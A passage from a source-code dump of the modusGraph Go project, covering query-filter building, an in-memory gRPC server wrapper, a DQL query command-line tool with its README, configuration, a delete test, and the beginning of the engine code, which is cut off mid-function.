querygen.BuildAllOfTermsQuery(apiutils.GetPredicateName(typeName, 119 | f.Field), strings.Join(f.String.AllOfTerms, " ")) 120 | } 121 | if len(f.String.AnyOfTerms) != 0 { 122 | return querygen.BuildAnyOfTermsQuery(apiutils.GetPredicateName(typeName, 123 | f.Field), strings.Join(f.String.AnyOfTerms, " ")) 124 | } 125 | if len(f.String.AllOfText) != 0 { 126 | return querygen.BuildAllOfTextQuery(apiutils.GetPredicateName(typeName, 127 | f.Field), strings.Join(f.String.AllOfText, " ")) 128 | } 129 | if len(f.String.AnyOfText) != 0 { 130 | return querygen.BuildAnyOfTextQuery(apiutils.GetPredicateName(typeName, 131 | f.Field), strings.Join(f.String.AnyOfText, " ")) 132 | } 133 | if f.String.RegExp != "" { 134 | return querygen.BuildRegExpQuery(apiutils.GetPredicateName(typeName, 135 | f.Field), f.String.RegExp) 136 | } 137 | if f.String.LessThan != "" { 138 | return querygen.BuildLtQuery(apiutils.GetPredicateName(typeName, 139 | f.Field), f.String.LessThan) 140 | } 141 | if f.String.LessOrEqual != "" { 142 | return querygen.BuildLeQuery(apiutils.GetPredicateName(typeName, 143 | f.Field), f.String.LessOrEqual) 144 | } 145 | if f.String.GreaterThan != "" { 146 | return querygen.BuildGtQuery(apiutils.GetPredicateName(typeName, 147 | f.Field), f.String.GreaterThan) 148 | } 149 | if f.String.GreaterOrEqual != "" { 150 | return querygen.BuildGeQuery(apiutils.GetPredicateName(typeName, 151 | f.Field), f.String.GreaterOrEqual) 152 | } 153 | if f.Vector.SimilarTo != nil { 154 | return querygen.BuildSimilarToQuery(apiutils.GetPredicateName(typeName, 155 | f.Field), f.Vector.TopK, f.Vector.SimilarTo) 156 | } 157 | 158 | // Return empty query if no conditions match 159 | return func() string { return "" } 160 | } 161 | 162 | // Helper function to combine multiple filters 163 | func filtersToQueryFunc(typeName string, filter Filter) querygen.QueryFunc { 164 | return filterToQueryFunc(typeName, filter) 165 | } 166 | 167 | func paginationToQueryString(p Pagination) string { 168 | paginationStr := "" 169 | if p.Limit > 0 { 170 | paginationStr += ", " + fmt.Sprintf("first: %d", p.Limit) 171 | } 172 | if p.Offset > 0 { 173 | paginationStr += ", " + fmt.Sprintf("offset: %d", p.Offset) 174 | } else if p.After != "" { 175 | paginationStr += ", " + fmt.Sprintf("after: %s", p.After) 176 | } 177 | if paginationStr == "" { 178 | return "" 179 | } 180 | return paginationStr 181 | } 182 | 183 | func sortingToQueryString(typeName string, s Sorting) string { 184 | if s.OrderAscField == "" && s.OrderDescField == "" { 185 | return "" 186 | } 187 | 188 | var parts []string 189 | first, second := s.OrderDescField, s.OrderAscField 190 | firstOp, secondOp := "orderdesc", "orderasc" 191 | 192 | if !s.OrderDescFirst { 193 | first, second = s.OrderAscField, s.OrderDescField 194 | firstOp, secondOp = "orderasc", "orderdesc" 195 | } 196 | 197 | if first != "" { 198 | parts = append(parts, fmt.Sprintf("%s: %s", firstOp, apiutils.GetPredicateName(typeName, first))) 199 | } 200 | if second != "" { 201 | parts = append(parts, fmt.Sprintf("%s: %s", secondOp, apiutils.GetPredicateName(typeName, second))) 202 | } 203 | 204 | return ", " + strings.Join(parts, ", ") 205 | } 206 | -------------------------------------------------------------------------------- /buf_server.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "errors" 11 | "fmt" 12 | "log" 13 | "net" 14 | "strings" 15 | 16 | "github.com/dgraph-io/dgo/v240" 17 | "github.com/dgraph-io/dgo/v240/protos/api" 18 | "github.com/hypermodeinc/dgraph/v24/x" 19 | "google.golang.org/grpc" 20 | "google.golang.org/grpc/credentials/insecure" 21 | "google.golang.org/grpc/test/bufconn" 22 | ) 23 | 24 | // bufSize is the size of the buffer for the bufconn connection 25 | const bufSize = 1024 * 1024 * 10 26 | 27 | // serverWrapper wraps the edgraph.Server to provide proper context setup 28 | type serverWrapper struct { 29 | api.DgraphServer 30 | engine *Engine 31 | } 32 | 33 | // Query implements the Dgraph Query method by delegating to the Engine 34 | func (s *serverWrapper) Query(ctx context.Context, req *api.Request) (*api.Response, error) { 35 | var ns *Namespace 36 | 37 | nsID, err := x.ExtractNamespace(ctx) 38 | if err != nil || nsID == 0 { 39 | ns = s.engine.GetDefaultNamespace() 40 | } else { 41 | ns, err = s.engine.GetNamespace(nsID) 42 | if err != nil { 43 | return nil, fmt.Errorf("error getting namespace %d: %w", nsID, err) 44 | } 45 | } 46 | s.engine.logger.V(2).Info("Query using namespace", "namespaceID", ns.ID()) 47 | 48 | if len(req.Mutations) > 0 { 49 | uids, err := ns.Mutate(ctx, req.Mutations) 50 | if err != nil { 51 | return nil, fmt.Errorf("engine mutation error: %w", err) 52 | } 53 | 54 | uidMap := make(map[string]string) 55 | for k, v := range uids { 56 | if strings.HasPrefix(k, "_:") { 57 | uidMap[k[2:]] = fmt.Sprintf("0x%x", v) 58 | } else { 59 | uidMap[k] = fmt.Sprintf("0x%x", v) 60 | } 61 | } 62 | 63 | return &api.Response{ 64 | Uids: uidMap, 65 | }, nil 66 | } 67 | 68 | return ns.QueryWithVars(ctx, req.Query, req.Vars) 69 | } 70 | 71 | // CommitOrAbort implements the Dgraph CommitOrAbort method 72 | func (s *serverWrapper) CommitOrAbort(ctx context.Context, tc *api.TxnContext) (*api.TxnContext, error) { 73 | var ns *Namespace 74 | 75 | nsID, err := x.ExtractNamespace(ctx) 76 | if err != nil || nsID == 0 { 77 | ns = s.engine.GetDefaultNamespace() 78 | } else { 79 | ns, err = s.engine.GetNamespace(nsID) 80 | if err != nil { 81 | return nil, fmt.Errorf("error getting namespace %d: %w", nsID, err) 82 | } 83 | } 84 | s.engine.logger.V(2).Info("CommitOrAbort called with transaction", "transaction", tc, "namespaceID", ns.ID()) 85 | 86 | if tc.Aborted { 87 | return tc, nil 88 | } 89 | 90 | // For commit, we need to make a dummy mutation that has no effect but will trigger the commit 91 | // This approach uses an empty mutation with CommitNow:true to leverage the Engine's existing 92 | // transaction commit mechanism 93 | emptyMutation := &api.Mutation{ 94 | CommitNow: true, 95 | } 96 | 97 | // We can't directly attach the transaction ID to the context in this way, 98 | // but the Server implementation should handle the transaction context 99 | // using the StartTs value in the empty mutation 100 | 101 | // Send the mutation through the Engine 102 | _, err = ns.Mutate(ctx, []*api.Mutation{emptyMutation}) 103 | if err != nil { 104 | return nil, fmt.Errorf("error committing transaction: %w", err) 105 | } 106 | 107 | s.engine.logger.V(2).Info("Transaction committed successfully") 108 | 109 | response := &api.TxnContext{ 110 | StartTs: tc.StartTs, 111 | CommitTs: tc.StartTs + 1, // We don't know the actual commit timestamp, but this works for testing 112 | } 113 | 114 | return response, nil 115 | } 116 | 117 | // Login implements the Dgraph Login method 118 | func (s *serverWrapper) Login(ctx context.Context, req *api.LoginRequest) (*api.Response, error) { 119 | // For security reasons, Authentication is not implemented in this wrapper 120 | return nil, errors.New("authentication not implemented") 121 | } 122 | 123 | // Alter implements the Dgraph Alter method by delegating to the Engine 124 | func (s *serverWrapper) Alter(ctx context.Context, op *api.Operation) (*api.Payload, error) { 125 | var ns *Namespace 126 | 127 | nsID, err := x.ExtractNamespace(ctx) 128 | if err != nil || nsID == 0 { 129 | ns = s.engine.GetDefaultNamespace() 130 | } else { 131 | ns, err = s.engine.GetNamespace(nsID) 132 | if err != nil { 133 | return nil, fmt.Errorf("error getting namespace %d: %w", nsID, err) 134 | } 135 | } 136 | s.engine.logger.V(2).Info("Alter called with operation", "operation", op, "namespaceID", ns.ID()) 137 | 138 | switch { 139 | case op.Schema != "": 140 | err = ns.AlterSchema(ctx, op.Schema) 141 | if err != nil { 142 | s.engine.logger.Error(err, "Error altering schema") 143 | return nil, fmt.Errorf("error altering schema: %w", err) 144 | } 145 | 146 | case op.DropAll: 147 | err = ns.DropAll(ctx) 148 | if err != nil { 149 | s.engine.logger.Error(err, "Error dropping all") 150 | return nil, fmt.Errorf("error dropping all: %w", err) 151 | } 152 | case op.DropOp != 0: 153 | switch op.DropOp { 154 | case api.Operation_DATA: 155 | err = ns.DropData(ctx) 156 | if err != nil { 157 | s.engine.logger.Error(err, "Error dropping data") 158 | return nil, fmt.Errorf("error dropping data: %w", err) 159 | } 160 | default: 161 | s.engine.logger.Error(nil, "Unsupported drop operation") 162 | return nil, fmt.Errorf("unsupported drop operation: %d", op.DropOp) 163 | } 164 | case op.DropAttr != "": 165 | s.engine.logger.Error(nil, "Drop attribute not implemented yet") 166 | return nil, errors.New("drop attribute not implemented yet") 167 | 168 | default: 169 | return nil, errors.New("unsupported alter operation") 170 | } 171 | 172 | return &api.Payload{}, nil 173 | } 174 | 175 | // CheckVersion implements the Dgraph CheckVersion method 176 | func (s *serverWrapper) CheckVersion(ctx context.Context, check *api.Check) (*api.Version, error) { 177 | // Return a version that matches what the client expects (TODO) 178 | return &api.Version{ 179 | Tag: "v24.0.0", // Must match major version expected by client 180 | }, nil 181 | } 182 | 183 | // setupBufconnServer creates a bufconn listener and starts a gRPC server with the Dgraph service 184 | func setupBufconnServer(engine *Engine) (*bufconn.Listener, *grpc.Server) { 185 | x.Config.LimitMutationsNquad = 1000000 186 | x.Config.LimitQueryEdge = 10000000 187 | 188 | lis := bufconn.Listen(bufSize) 189 | server := grpc.NewServer() 190 | 191 | // Register our server wrapper that properly handles context and routing 192 | dgraphServer := &serverWrapper{engine: engine} 193 | api.RegisterDgraphServer(server, dgraphServer) 194 | 195 | // Start the server in a goroutine 196 | go func() { 197 | if err := server.Serve(lis); err != nil { 198 | log.Printf("Server exited with error: %v", err) 199 | } 200 | }() 201 | 202 | return lis, server 203 | } 204 | 205 | // bufDialer is the dialer function for bufconn 206 | func bufDialer(listener *bufconn.Listener) func(context.Context, string) (net.Conn, error) { 207 | return func(ctx context.Context, url string) (net.Conn, error) { 208 | return listener.Dial() 209 | } 210 | } 211 | 212 | // createDgraphClient creates a Dgraph client that connects to the bufconn server 213 | func createDgraphClient(ctx context.Context, listener *bufconn.Listener) (*dgo.Dgraph, error) { 214 | // Create a gRPC connection using the bufconn dialer 215 | // nolint:staticcheck // SA1019: grpc.DialContext is deprecated 216 | conn, err := grpc.DialContext(ctx, "bufnet", 217 | grpc.WithContextDialer(bufDialer(listener)), 218 | grpc.WithTransportCredentials(insecure.NewCredentials())) 219 | if err != nil { 220 | return nil, err 221 | } 222 | 223 | // Create a Dgraph client 224 | dgraphClient := api.NewDgraphClient(conn) 225 | // nolint:staticcheck // SA1019: dgo.NewDgraphClient is deprecated but works with our current setup 226 | return dgo.NewDgraphClient(dgraphClient), nil 227 | } 228 | -------------------------------------------------------------------------------- /cmd/query/README.md: -------------------------------------------------------------------------------- 1 | # modusGraph Query CLI 2 | 3 | This command-line tool allows you to run arbitrary DQL (Dgraph Query Language) queries against a 4 | modusGraph database, either in local file-based mode or (optionally) against a remote 5 | Dgraph-compatible endpoint. 6 | 7 | ## Requirements 8 | 9 | - Go 1.24 or higher 10 | - Access to a directory containing a modusGraph database (created by modusGraph) 11 | 12 | ## Installation 13 | 14 | ```bash 15 | # Navigate to the cmd/query directory 16 | cd cmd/query 17 | 18 | # Run directly 19 | go run main.go --dir /path/to/modusgraph [options] 20 | 21 | # Or build and then run 22 | go build -o modusgraph-query 23 | ./modusgraph-query --dir /path/to/modusgraph [options] 24 | ``` 25 | 26 | ## Usage 27 | 28 | The tool reads a DQL query from standard input and prints the JSON response to standard output. 29 | 30 | ```sh 31 | Usage of ./main: 32 | --dir string Directory where the modusGraph database is stored (required) 33 | --pretty Pretty-print the JSON output (default true) 34 | --timeout Query timeout duration (default 30s) 35 | -v int Verbosity level for logging (e.g., -v=1, -v=2) 36 | ``` 37 | 38 | ### Example: Querying the Graph 39 | 40 | ```bash 41 | echo '{ q(func: has(name@en), first: 10) { id: uid name@en } }' | go run main.go --dir /tmp/modusgraph 42 | ``` 43 | 44 | ### Example: With Verbose Logging 45 | 46 | ```bash 47 | echo '{ q(func: has(name@en), first: 10) { id: uid name@en } }' | go run main.go --dir /tmp/modusgraph -v 1 48 | ``` 49 | 50 | ### Example: Build and Run 51 | 52 | ```bash 53 | go build -o modusgraph-query 54 | cat query.dql | ./modusgraph-query --dir /tmp/modusgraph 55 | ``` 56 | 57 | ## Notes 58 | 59 | - The `--dir` flag is required and must point to a directory initialized by modusGraph. 60 | - The query must be provided via standard input. 61 | - Use the `-v` flag to control logging verbosity (higher values show more log output). 62 | - Use the `--pretty=false` flag to disable pretty-printing of the JSON response. 63 | - The tool logs query timing and errors to standard error. 64 | 65 | ## Example Output 66 | 67 | ```json 68 | { 69 | "q": [ 70 | { "id": "0x2", "name@en": "Ivan Sen" }, 71 | { "id": "0x3", "name@en": "Peter Lord" } 72 | ] 73 | } 74 | ``` 75 | 76 | --- 77 | 78 | For more advanced usage and integration, see the main [modusGraph documentation](../../README.md). 79 | -------------------------------------------------------------------------------- /cmd/query/main.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package main 7 | 8 | import ( 9 | "bufio" 10 | "context" 11 | "encoding/json" 12 | "flag" 13 | "fmt" 14 | "io" 15 | "log" 16 | "os" 17 | "path/filepath" 18 | "strconv" 19 | "strings" 20 | "time" 21 | 22 | "github.com/go-logr/stdr" 23 | "github.com/hypermodeinc/modusgraph" 24 | ) 25 | 26 | func main() { 27 | // Define flags 28 | dirFlag := flag.String("dir", "", "Directory where the modusGraph database is stored") 29 | prettyFlag := flag.Bool("pretty", true, "Pretty-print the JSON output") 30 | timeoutFlag := flag.Duration("timeout", 30*time.Second, "Query timeout duration") 31 | flag.Parse() 32 | 33 | // Initialize the stdr logger with the verbosity from -v 34 | stdLogger := log.New(os.Stdout, "", log.LstdFlags) 35 | logger := stdr.NewWithOptions(stdLogger, stdr.Options{LogCaller: stdr.All}).WithName("mg") 36 | vFlag := flag.Lookup("v") 37 | if vFlag != nil { 38 | val, err := strconv.Atoi(vFlag.Value.String()) 39 | if err != nil { 40 | log.Fatalf("Error: Invalid verbosity level: %s", vFlag.Value.String()) 41 | } 42 | stdr.SetVerbosity(val) 43 | } 44 | 45 | // Validate required flags 46 | if *dirFlag == "" { 47 | log.Println("Error: --dir parameter is required") 48 | flag.Usage() 49 | os.Exit(1) 50 | } 51 | 52 | // Create clean directory path 53 | dirPath := filepath.Clean(*dirFlag) 54 | if _, err := os.Stat(dirPath); os.IsNotExist(err) { 55 | log.Fatalf("Error: Directory %s does not exist", dirPath) 56 | } 57 | 58 | // Initialize modusGraph client with the directory where data is stored 59 | logger.V(1).Info("Initializing modusGraph client", "directory", dirPath) 60 | client, err := modusgraph.NewClient(fmt.Sprintf("file://%s", dirPath), 61 | modusgraph.WithLogger(logger)) 62 | if err != nil { 63 | logger.Error(err, "Failed to initialize modusGraph client") 64 | os.Exit(1) 65 | } 66 | defer client.Close() 67 | 68 | // Read query from stdin 69 | reader := bufio.NewReader(os.Stdin) 70 | query := "" 71 | for { 72 | line, err := reader.ReadString('\n') 73 | if err != nil && err != io.EOF { 74 | logger.Error(err, "Error reading from stdin") 75 | os.Exit(1) 76 | } 77 | 78 | query += line 79 | 80 | if err == io.EOF { 81 | break 82 | } 83 | } 84 | 85 | query = strings.TrimSpace(query) 86 | if query == "" { 87 | logger.Error(nil, "Empty query provided") 88 | os.Exit(1) 89 | } 90 | 91 | logger.V(1).Info("Executing query", "query", query) 92 | 93 | // Set up context with timeout 94 | ctx, cancel := context.WithTimeout(context.Background(), *timeoutFlag) 95 | defer cancel() 96 | 97 | start := time.Now() 98 | 99 | // Execute the query 100 | resp, err := client.QueryRaw(ctx, query) 101 | if err != nil { 102 | logger.Error(err, "Query execution failed") 103 | os.Exit(1) 104 | } 105 | 106 | elapsed := time.Since(start) 107 | elapsedMs := float64(elapsed.Nanoseconds()) / 1e6 108 | logger.V(1).Info("Query completed", "elapsed_ms", elapsedMs) 109 | 110 | // Format and print the response 111 | if *prettyFlag { 112 | var data any 113 | if err := json.Unmarshal(resp, &data); err != nil { 114 | logger.Error(err, "Failed to parse JSON response") 115 | os.Exit(1) 116 | } 117 | 118 | prettyJSON, err := json.MarshalIndent(data, "", " ") 119 | if err != nil { 120 | logger.Error(err, "Failed to format JSON response") 121 | os.Exit(1) 122 | } 123 | 124 | fmt.Println(string(prettyJSON)) 125 | } else { 126 | fmt.Println(string(resp)) 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /config.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "github.com/go-logr/logr" 10 | ) 11 | 12 | type Config struct { 13 | dataDir string 14 | 15 | // optional params 16 | limitNormalizeNode int 17 | 18 | // logger is used for structured logging 19 | logger logr.Logger 20 | } 21 | 22 | func NewDefaultConfig(dir string) Config { 23 | return Config{dataDir: dir, limitNormalizeNode: 10000, logger: logr.Discard()} 24 | } 25 | 26 | func (cc Config) WithLimitNormalizeNode(d int) Config { 27 | cc.limitNormalizeNode = d 28 | return cc 29 | } 30 | 31 | // WithLogger sets a structured logger for the engine 32 | func (cc Config) WithLogger(logger logr.Logger) Config { 33 | cc.logger = logger 34 | return cc 35 | } 36 | 37 | func (cc Config) validate() error { 38 | if cc.dataDir == "" { 39 | return ErrEmptyDataDir 40 | } 41 | 42 | return nil 43 | } 44 | -------------------------------------------------------------------------------- /delete_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Hypermode Inc. and Contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package modusgraph_test 18 | 19 | import ( 20 | "context" 21 | "fmt" 22 | "os" 23 | "testing" 24 | "time" 25 | 26 | "github.com/stretchr/testify/require" 27 | ) 28 | 29 | func TestClientDelete(t *testing.T) { 30 | 31 | testCases := []struct { 32 | name string 33 | uri string 34 | skip bool 35 | }{ 36 | { 37 | name: "DeleteWithFileURI", 38 | uri: "file://" + t.TempDir(), 39 | }, 40 | { 41 | name: "DeleteWithDgraphURI", 42 | uri: "dgraph://" + os.Getenv("MODUSGRAPH_TEST_ADDR"), 43 | skip: os.Getenv("MODUSGRAPH_TEST_ADDR") == "", 44 | }, 45 | } 46 | 47 | createTestEntities := func() []*TestEntity { 48 | entities := []*TestEntity{} 49 | for i := range 10 { 50 | entities = append(entities, &TestEntity{ 51 | Name: fmt.Sprintf("Test Entity %d", i), 52 | Description: fmt.Sprintf("This is a test entity (%d) for the Update method", i), 53 | CreatedAt: time.Now(), 54 | }) 55 | } 56 | return entities 57 | } 58 | 59 | for _, tc := range testCases { 60 | t.Run(tc.name, func(t *testing.T) { 61 | if tc.skip { 62 | t.Skipf("Skipping %s: MODUSGRAPH_TEST_ADDR not set", tc.name) 63 | return 64 | } 65 | 66 | client, cleanup := CreateTestClient(t, tc.uri) 67 | defer cleanup() 68 | 69 | entities := createTestEntities() 70 | 71 | ctx := context.Background() 72 | err := client.Insert(ctx, entities) 73 | require.NoError(t, err, "Insert should succeed") 74 | require.NotEmpty(t, entities[0].UID, "UID should be assigned") 75 | 76 | // Get the UIDs of the first 5 entities 77 | uids := make([]string, 5) 78 | for i, entity := range entities[:5] { 79 | uids[i] = entity.UID 80 | } 81 | 82 | err = client.Delete(ctx, uids) 83 | require.NoError(t, err, "Delete should succeed") 84 | 85 | var result []TestEntity 86 | err = client.Query(ctx, TestEntity{}).Nodes(&result) 87 | require.NoError(t, err, "Query should succeed") 88 | require.Len(t, result, 5, "Should have 5 entities remaining") 89 | }) 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /engine.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "errors" 11 | "fmt" 12 | "path" 13 | "strconv" 14 | "sync" 15 | "sync/atomic" 16 | 17 | "github.com/dgraph-io/badger/v4" 18 | "github.com/dgraph-io/dgo/v240" 19 | "github.com/dgraph-io/dgo/v240/protos/api" 20 | "github.com/dgraph-io/ristretto/v2/z" 21 | "github.com/go-logr/logr" 22 | "github.com/hypermodeinc/dgraph/v24/dql" 23 | "github.com/hypermodeinc/dgraph/v24/edgraph" 24 | "github.com/hypermodeinc/dgraph/v24/posting" 25 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 26 | "github.com/hypermodeinc/dgraph/v24/query" 27 | "github.com/hypermodeinc/dgraph/v24/schema" 28 | "github.com/hypermodeinc/dgraph/v24/worker" 29 | "github.com/hypermodeinc/dgraph/v24/x" 30 | "google.golang.org/grpc" 31 | "google.golang.org/grpc/test/bufconn" 32 | ) 33 | 34 | var ( 35 | // This ensures that we only have one instance of modusDB in this process. 36 | singleton atomic.Bool 37 | 38 | ErrSingletonOnly = errors.New("only one instance of modusDB can exist in a process") 39 | ErrEmptyDataDir = errors.New("data directory is required") 40 | ErrClosedEngine = errors.New("modusDB engine is closed") 41 | ErrNonExistentDB = errors.New("namespace does not exist") 42 | ) 43 | 44 | // ResetSingleton resets the singleton state for testing purposes. 45 | // This should ONLY be called during testing, typically in cleanup functions. 46 | func ResetSingleton() { 47 | singleton.Store(false) 48 | } 49 | 50 | // Engine is an instance of modusDB. 51 | // For now, we only support one instance of modusDB per process. 52 | type Engine struct { 53 | mutex sync.RWMutex 54 | isOpen atomic.Bool 55 | 56 | z *zero 57 | 58 | // points to default / 0 / galaxy namespace 59 | db0 *Namespace 60 | 61 | listener *bufconn.Listener 62 | server *grpc.Server 63 | logger logr.Logger 64 | } 65 | 66 | // NewEngine returns a new modusDB instance. 67 | func NewEngine(conf Config) (*Engine, error) { 68 | // Ensure that we do not create another instance of modusDB in the same process 69 | if !singleton.CompareAndSwap(false, true) { 70 | conf.logger.Error(ErrSingletonOnly, "Failed to create engine") 71 | return nil, ErrSingletonOnly 72 | } 73 | 74 | conf.logger.V(1).Info("Creating new modusDB engine", "dataDir", conf.dataDir) 75 | 76 | if err := conf.validate(); err != nil { 77 | conf.logger.Error(err, "Invalid configuration") 78 | return nil, err 79 | } 80 | 81 | // setup data directories 82 | worker.Config.PostingDir = path.Join(conf.dataDir, "p") 83 | worker.Config.WALDir = path.Join(conf.dataDir, "w") 84 | x.WorkerConfig.TmpDir = path.Join(conf.dataDir, "t") 85 | 86 | // TODO: optimize these and more options 87 | x.WorkerConfig.Badger = badger.DefaultOptions("").FromSuperFlag(worker.BadgerDefaults) 88 | x.Config.MaxRetries = 10 89 | x.Config.Limit = z.NewSuperFlag("max-pending-queries=100000") 90 | x.Config.LimitNormalizeNode = conf.limitNormalizeNode 91 | 92 | // initialize each package 93 | edgraph.Init() 94 | worker.State.InitStorage() 95 | worker.InitForLite(worker.State.Pstore) 96 | schema.Init(worker.State.Pstore) 97 | posting.Init(worker.State.Pstore, 0, false) // TODO: set cache size 98 | 99 | engine := &Engine{ 100 | logger: conf.logger, 101 | } 102 | engine.isOpen.Store(true) 103 | engine.logger.V(1).Info("Initializing engine state") 104 | if err := engine.reset(); err != nil { 105 | engine.logger.Error(err, "Failed to reset database") 106 | return nil, fmt.Errorf("error resetting db: %w", err) 107 | } 108 | 109 | x.UpdateHealthStatus(true) 110 | 111 | engine.db0 = &Namespace{id: 0, engine: engine} 112 | 113 | engine.listener, engine.server = setupBufconnServer(engine) 114 | return engine, nil 115 | } 116 | 117 | func (engine *Engine) GetClient() (*dgo.Dgraph, error) { 118 | engine.logger.V(2).Info("Getting Dgraph client from engine") 119 | client, err := createDgraphClient(context.Background(), engine.listener) 120 | if err != nil { 121 | engine.logger.Error(err, "Failed to create Dgraph client") 122 | } 123 | return client, err 124 | } 125 | 126 | func (engine *Engine) CreateNamespace() (*Namespace, error) { 127 | engine.mutex.RLock() 128 | defer engine.mutex.RUnlock() 129 | 130 | if !engine.isOpen.Load() { 131 | return nil, ErrClosedEngine 132 | } 133 | 134 | startTs, err := engine.z.nextTs() 135 | if err != nil { 136 | return nil, err 137 | } 138 | nsID, err := engine.z.nextNamespace() 139 | if err != nil { 140 | return nil, err 141 | } 142 | 143 | if err := worker.ApplyInitialSchema(nsID, startTs); err != nil { 144 | return nil, fmt.Errorf("error applying initial schema: %w", err) 145 | } 146 | for _, pred := range schema.State().Predicates() { 147 | worker.InitTablet(pred) 148 | } 149 | 150 | return &Namespace{id: nsID, engine: engine}, nil 151 | } 152 | 153 | func (engine *Engine) GetNamespace(nsID uint64) (*Namespace, error) { 154 | engine.mutex.RLock() 155 | defer engine.mutex.RUnlock() 156 | 157 | return engine.getNamespaceWithLock(nsID) 158 | } 159 | 160 | func (engine *Engine) getNamespaceWithLock(nsID uint64) (*Namespace, error) { 161 | if !engine.isOpen.Load() { 162 | return nil, ErrClosedEngine 163 | } 164 | 165 | if nsID > engine.z.lastNamespace { 166 | return nil, ErrNonExistentDB 167 | } 168 | 169 | // TODO: when delete namespace is implemented, check if the namespace exists 170 | 171 | return &Namespace{id: nsID, engine: engine}, nil 172 | } 173 | 174 | func (engine *Engine) GetDefaultNamespace() *Namespace { 175 | return engine.db0 176 | } 177 | 178 | // DropAll drops all the data and schema in the modusDB instance. 179 | func (engine *Engine) DropAll(ctx context.Context) error { 180 | engine.mutex.Lock() 181 | defer engine.mutex.Unlock() 182 | 183 | if !engine.isOpen.Load() { 184 | return ErrClosedEngine 185 | } 186 | 187 | p := &pb.Proposal{Mutations: &pb.Mutations{ 188 | GroupId: 1, 189 | DropOp: pb.Mutations_ALL, 190 | }} 191 | if err := worker.ApplyMutations(ctx, p); err != nil { 192 | return fmt.Errorf("error applying mutation: %w", err) 193 | } 194 | if err := engine.reset(); err != nil { 195 | return fmt.Errorf("error resetting db: %w", err) 196 | } 197 | 198 | // TODO: insert drop record 199 | return nil 200 | } 201 | 202 | func (engine *Engine) dropData(ctx context.Context, ns *Namespace) error { 203 | engine.mutex.Lock() 204 | defer engine.mutex.Unlock() 205 | 206 | if !engine.isOpen.Load() { 207 | return ErrClosedEngine 208 | } 209 | 210 | p := &pb.Proposal{Mutations: &pb.Mutations{ 211 | GroupId: 1, 212 | DropOp: pb.Mutations_DATA, 213 | DropValue: strconv.FormatUint(ns.ID(), 10), 214 | }} 215 | 216 | if err := worker.ApplyMutations(ctx, p); err != nil { 217 | return fmt.Errorf("error applying mutation: %w", err) 218 | } 219 | 220 | // TODO: insert drop record 221 | // TODO: should we reset back the timestamp as well? 222 | return nil 223 | } 224 | 225 | func (engine *Engine) alterSchema(ctx context.Context, ns *Namespace, sch string) error { 226 | engine.mutex.Lock() 227 | defer engine.mutex.Unlock() 228 | 229 | if !engine.isOpen.Load() { 230 | return ErrClosedEngine 231 | } 232 | 233 | sc, err := schema.ParseWithNamespace(sch, ns.ID()) 234 | if err != nil { 235 | return fmt.Errorf("error parsing schema: %w", err) 236 | } 237 | return engine.alterSchemaWithParsed(ctx, sc) 238 | } 239 | 240 | func (engine *Engine) alterSchemaWithParsed(ctx context.Context, sc *schema.ParsedSchema) error { 241 | for _, pred := range sc.Preds { 242 | worker.InitTablet(pred.Predicate) 243 | } 244 | 245 | startTs, err := engine.z.nextTs() 246 | if err != nil { 247 | return err 248 | } 249 | 250 | p := &pb.Proposal{Mutations: &pb.Mutations{ 251 | GroupId: 1, 252 | StartTs: startTs, 253 | Schema: sc.Preds, 254 | Types: sc.Types, 255 | }} 256 | if err := worker.ApplyMutations(ctx, p); err != nil { 257 | return fmt.Errorf("error applying mutation: %w", err) 258 | } 259 | return nil 260 | } 261 | 262 | func (engine *Engine) query(ctx context.Context, 263 | ns *Namespace, 264 | q string, 265 | vars map[string]string) (*api.Response, error) { 266 | engine.mutex.RLock() 267 | defer engine.mutex.RUnlock() 268 | 269 | return engine.queryWithLock(ctx, ns, q, vars) 270 | } 271 | 272 | func (engine *Engine) queryWithLock(ctx context.Context, 273 | ns *Namespace, 274 | q string, 275 | vars map[string]string) (*api.Response, error) { 276 | if !engine.isOpen.Load() { 277 | return nil, ErrClosedEngine 278 | } 279 | 280 | ctx = x.AttachNamespace(ctx, ns.ID()) 281 | return (&edgraph.Server{}).QueryNoAuth(ctx, &api.Request{ 282 | ReadOnly: true, 283 | Query: q, 284 | StartTs: engine.z.readTs(), 285 | Vars: vars, 286 | }) 287 | } 288 | 289 | func (engine *Engine) mutate(ctx context.Context, ns *Namespace, ms []*api.Mutation) (map[string]uint64, error) { 290 | if len(ms) == 0 { 291 | return nil, nil 292 | } 293 | 294 | engine.mutex.Lock() 295 | defer engine.mutex.Unlock() 296 | dms := make([]*dql.Mutation, 0, len(ms)) 297 | for _, mu := range ms { 298 | dm, err := edgraph.ParseMutationObject(mu, false) 299 | if err != nil { 300 | return nil, fmt.Errorf("error parsing mutation: %w", err) 301 | } 302 | dms = append(dms, dm) 303 | } 304 | newUids, err := query.ExtractBlankUIDs(ctx, dms) 305 | if err != nil { 306 | return nil, err 307 | } 308 | if len(newUids) > 0 { 309 | num := &pb.Num{Val: uint64(len(newUids)), Type: pb.Num_UID} 310 | res, err := engine.z.nextUIDs(num) 311 | if err != nil { 312 | return nil, err 313 | } 314 | 315 | curId := res.StartId 316 